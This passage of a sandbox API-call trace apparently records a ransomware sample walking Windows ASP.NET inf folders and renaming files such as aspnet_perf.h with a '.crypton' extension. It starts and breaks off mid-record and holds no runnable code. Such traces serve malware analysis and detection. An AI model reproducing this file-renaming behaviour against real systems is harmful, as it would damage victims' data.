lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x739be660, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x14e2b280, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14e2b280, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0254.217] GetFileType (hFile=0x178) returned 0x1 [0254.222] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\ASP.NET\\0010\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x739be660, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x14e2b280, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14e2b280, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0254.223] GetFileType (hFile=0x178) returned 0x1 [0254.227] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\ASP.NET\\0011\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x739be660, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x14e2b280, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14e2b280, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0254.229] GetFileType (hFile=0x178) returned 0x1 [0254.233] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\ASP.NET\\0012\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x739be660, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x14e513e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14e513e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0254.234] GetFileType (hFile=0x178) returned 0x1 [0254.239] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\ASP.NET\\0013\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x739be660, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x14e513e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14e513e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0254.239] GetFileType (hFile=0x178) returned 0x1 [0254.244] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\ASP.NET\\0014\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x739be660, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x14e513e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14e513e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0254.245] GetFileType (hFile=0x178) returned 0x1 [0254.253] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\ASP.NET\\0015\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x739be660, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x14e77540, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14e77540, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0254.254] GetFileType (hFile=0x178) returned 0x1 [0254.258] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\ASP.NET\\0019\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x739e47c0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x14e77540, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14e77540, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0254.260] GetFileType (hFile=0x178) returned 0x1 [0254.264] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\ASP.NET\\001D\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x739e47c0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x14e9d6a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14e9d6a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0254.265] GetFileType (hFile=0x178) returned 0x1 [0254.269] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\ASP.NET\\001F\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x739e47c0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x14e9d6a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14e9d6a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0254.271] GetFileType (hFile=0x178) returned 0x1 [0254.275] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\ASP.NET\\0404\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x73998500, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x14e9d6a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14e9d6a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0254.276] GetFileType (hFile=0x178) returned 0x1 [0254.280] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\ASP.NET\\0416\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x739be660, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x14ec3800, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14ec3800, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0254.281] GetFileType (hFile=0x178) returned 0x1 [0254.285] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\ASP.NET\\0804\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x73998500, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x14ec3800, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14ec3800, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0254.286] GetFileType (hFile=0x178) returned 0x1 [0254.291] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\ASP.NET\\0816\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x739e47c0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x14ee9960, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14ee9960, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0254.298] MoveFileExW (lpExistingFileName="C:\\\\Windows\\inf\\ASP.NET\\aspnet_perf.h" (normalized: "c:\\windows\\inf\\asp.net\\aspnet_perf.h"), lpNewFileName="C:\\\\Windows\\inf\\ASP.NET\\aspnet_perf.h.crypton" (normalized: "c:\\windows\\inf\\asp.net\\aspnet_perf.h.crypton"), dwFlags=0x2) returned 1 [0254.305] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\ASP.NET_4.0.30319\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71336240, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x14ee9960, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14ee9960, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0254.306] GetFileType (hFile=0x178) returned 0x1 [0254.310] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\ASP.NET_4.0.30319\\0000\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71336240, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x14f0fac0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14f0fac0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0254.311] GetFileType (hFile=0x178) returned 0x1 [0254.316] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\ASP.NET_4.0.30319\\0001\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71336240, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x14f0fac0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14f0fac0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0254.317] GetFileType (hFile=0x178) returned 0x1 [0254.330] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\ASP.NET_4.0.30319\\0005\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7135c3a0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x14f35c20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14f35c20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0254.331] GetFileType (hFile=0x178) returned 0x1 [0254.336] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\ASP.NET_4.0.30319\\0006\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7135c3a0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x14f35c20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14f35c20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0254.337] GetFileType (hFile=0x178) returned 0x1 [0254.341] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\ASP.NET_4.0.30319\\0007\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7135c3a0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x14f5bd80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14f5bd80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0254.343] GetFileType (hFile=0x178) returned 0x1 [0254.347] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\ASP.NET_4.0.30319\\0008\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7135c3a0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x14f5bd80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14f5bd80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0254.348] GetFileType (hFile=0x178) returned 0x1 [0254.352] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\ASP.NET_4.0.30319\\0009\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71336240, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x14f5bd80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14f5bd80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0254.353] GetFileType (hFile=0x178) returned 0x1 [0254.357] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\ASP.NET_4.0.30319\\000A\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7135c3a0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x14f81ee0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14f81ee0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0254.359] GetFileType (hFile=0x178) returned 0x1 [0254.363] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\ASP.NET_4.0.30319\\000B\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7135c3a0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x14f81ee0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14f81ee0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0254.363] GetFileType (hFile=0x178) returned 0x1 [0254.368] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\ASP.NET_4.0.30319\\000C\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7135c3a0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x14f81ee0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14f81ee0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0254.370] GetFileType (hFile=0x178) returned 0x1 [0254.374] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\ASP.NET_4.0.30319\\000D\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71382500, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x14fa8040, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14fa8040, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0254.374] GetFileType (hFile=0x178) returned 0x1 [0254.379] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\ASP.NET_4.0.30319\\000E\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71382500, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x14fa8040, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14fa8040, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0254.382] GetFileType (hFile=0x178) returned 0x1 [0254.386] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\ASP.NET_4.0.30319\\0010\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71382500, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x14fce1a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14fce1a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0254.387] GetFileType (hFile=0x178) returned 0x1 [0254.393] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\ASP.NET_4.0.30319\\0011\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71382500, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x14fce1a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14fce1a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0254.394] GetFileType (hFile=0x178) returned 0x1 [0254.398] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\ASP.NET_4.0.30319\\0012\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71382500, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x14fce1a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14fce1a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0254.399] GetFileType (hFile=0x178) returned 0x1 [0254.404] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\ASP.NET_4.0.30319\\0013\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71382500, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x14ff4300, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14ff4300, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0254.405] GetFileType (hFile=0x178) returned 0x1 [0254.411] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\ASP.NET_4.0.30319\\0014\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71382500, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x14ff4300, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14ff4300, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0254.411] GetFileType (hFile=0x178) returned 0x1 [0254.418] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\ASP.NET_4.0.30319\\0015\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71382500, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x1501a460, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1501a460, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0254.419] GetFileType (hFile=0x178) returned 0x1 [0254.424] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\ASP.NET_4.0.30319\\0019\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71382500, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x1501a460, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1501a460, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0254.425] GetFileType (hFile=0x178) returned 0x1 [0254.430] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\ASP.NET_4.0.30319\\001D\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x713a8660, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x1501a460, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1501a460, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0254.431] GetFileType (hFile=0x178) returned 0x1 [0254.448] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\ASP.NET_4.0.30319\\001F\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x713a8660, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x150405c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x150405c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0254.449] GetFileType (hFile=0x178) returned 0x1 [0254.455] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\ASP.NET_4.0.30319\\0404\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7135c3a0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x15066720, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x15066720, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0254.456] GetFileType (hFile=0x178) returned 0x1 [0254.461] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\ASP.NET_4.0.30319\\0416\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71382500, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x15066720, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x15066720, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0254.461] GetFileType (hFile=0x178) returned 0x1 [0254.467] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\ASP.NET_4.0.30319\\0804\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71336240, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x1508c880, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1508c880, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0254.468] GetFileType (hFile=0x178) returned 0x1 [0254.473] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\ASP.NET_4.0.30319\\0816\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71382500, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x1508c880, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1508c880, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0254.482] MoveFileExW (lpExistingFileName="C:\\\\Windows\\inf\\ASP.NET_4.0.30319\\aspnet_perf.h" (normalized: "c:\\windows\\inf\\asp.net_4.0.30319\\aspnet_perf.h"), lpNewFileName="C:\\\\Windows\\inf\\ASP.NET_4.0.30319\\aspnet_perf.h.crypton" (normalized: 